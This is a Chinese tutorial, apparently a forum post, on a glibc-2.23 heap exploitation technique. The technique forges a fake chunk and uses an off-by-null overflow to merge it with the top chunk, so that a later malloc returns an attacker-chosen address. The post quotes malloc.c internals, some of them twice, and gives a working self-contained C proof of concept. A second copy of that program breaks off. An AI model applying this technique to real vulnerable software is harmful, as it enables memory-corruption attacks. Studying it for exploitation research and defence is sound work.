文件路径(malloc/malloc.c)
这段代码是向后合并的操作,p是刚刚被释放的堆块。如果它的prev_inuse位是0 的话(正常情况是上一个相邻堆块被释放),就会执行这段代码。先把前一个堆块的大小(p->prev_size)赋给prevsize,把p的大小修改为两个堆块的大小之和。通过p的地址减去上一个堆块的大小,找到合并后,p应该在的地址,并更新p。再用新的p去执行unlink。
unlink操作在这里没有具体的利用,我们只是最后需要绕过这样的一个检测。让它可以正常进行合并。这里第9行是针对lagebin的一个检测,而在我们这个利用手法中,基本都是lagebin,所以我们需要对这个fd_nextsize和bk_nextsize,做一个绕过的检测。因为当lagebin中只有一个堆块时,fd_nextsize和bk_nextsize,都指向p自己,所以我们把这两个设置为p的地址即可。
这段就是就是把与topchunk 相邻的空闲堆块与top chunk合并。并更新top chunk的大小和地址。
这里是这样,利用某些手段伪造出一个fakechunk,这个chunk位于我们想要分配的目的地址上(记为target)。 同时,我们利用可以正常分配到的一个 chunk (记为p)。通过修改p 的 prevsize和pre_inuse,让p 和target 合并为一个堆块,当然p本身是与topchunk相邻的。此时,target 和 p 都被 topchunk 合并为新的topchunk。此时topchunk 的地址,就迁移到了 target 所在的地址。那么再次分配堆地址,就可以把这个空间分配到手。
1.伪造fakechunk ,需要泄露 栈地址和堆地址。总之要能泄露地址
2.off-by-one 或off-by-null,要能修改pre_inuse。
请在ubuntu16下编译(即使用glibc-2.23)。编译时记得关掉pie,这样便于打断点。
编译时参数(只能在64位下编译)
这个demo是自己写的,在how2heap的基础上添加了一些基础的描述。希望可以更清楚的表达出,漏洞利的一个思路。同时,关于合并后的size大小,这里描述也做了修改。因为合并是b和fakechunk以及topchunk,所以最后的大小理论上也是三个堆块的大小相加。

事实上,也确实如此








这里因为pwndbg的原因,所以使用heap命令查看到的信息会和实际有出入
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
setbuf(stdin,NULL);
setbuf(stdout,NULL);
uint8_t* a;
uint8_t* b;
uint8_t* c;
a=(uint8_t*)malloc(0x38);
size_t* a_addr=(size_t *)(a-sizeof(size_t)*2);
size_t a_size=malloc_usable_size(a);
printf("\033[1;33m这里,我们申清一个堆块a,假设存在溢出漏洞。需要通过a去溢出:\033[0m\n");
printf("a的地址(包含chunk头):%p\n",a_addr);
printf("a的大小(不含chunk头):%lx\n\n",a_size);
size_t fakechunk[6];
fakechunk[0]=0x100,fakechunk[1]=0x100;
fakechunk[2]=(size_t)fakechunk;
fakechunk[3]=(size_t)fakechunk;
fakechunk[4]=(size_t)fakechunk;
fakechunk[5]=(size_t)fakechunk;
printf("\033[1;33m假设,我们通过某种方法,构造了如下的一个fakechunk:\033[0m\n");
printf("fakechunk的地址(包含chunk头):%p\n",fakechunk);
printf("fd: %#lx\n",fakechunk[2]);
printf("bk: %#lx\n",fakechunk[3]);
printf("fd_nextsize: %#lx\n",fakechunk[4]);
printf("bk_nextsize: %#lx\n\n",fakechunk[5]);
b=(uint8_t*)malloc(0xf8);
size_t* b_size_ptr=(size_t*)(b-sizeof(size_t));
size_t* b_addr=(size_t *)(b-sizeof(size_t)*2);
printf("\033[1;33m这里创建一个堆块b,作为合并的关键堆块:\033[0m\n");
printf("b的地址(含chunk头): %p\n",b_addr);
printf("b的size位:%#lx\n\b",*b_size_ptr);
printf("b的prev_size: %#lx\n\n",*b_addr);
printf("\033[1;33m那么,对于现在创建的堆块b,我们可以通过溢出去修改它的一些数据:\033[0m\n");
a[a_size]=0;
printf("修改后b的size位:%#lx\n",*b_size_ptr);
size_t fakesize=(size_t)((uint8_t *)(b_addr)-(uint8_t *)fakechunk);
printf("b的prev_size应该用 b 的地址减 fakechunk 的地址: %p-%p=%#lx\n",b_addr,fakechunk,fakesize);
*(size_t *)&a[a_size-sizeof(size_t)]=fakesize;
printf("修改后b的prev_size: %#lx\n\n",*b_addr);
fakechunk[1]=fakesize;
free(b);
printf("合并后fakechunk的size: %#lx\n",fakechunk[1]);
printf("是b.size+b.prev_szie+b.next_szie(也就是topchunk的大小)得来的\n");
c=(uint8_t*)malloc(0x200);
size_t* c_addr=(size_t *)(c-sizeof(size_t)*2);
printf("\033[1;33m最后申清一个堆块c,并查看一下是否达到了我们的目的:\033[0m\n");
printf("c的地址(包含chunk头):%p\n",c_addr);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!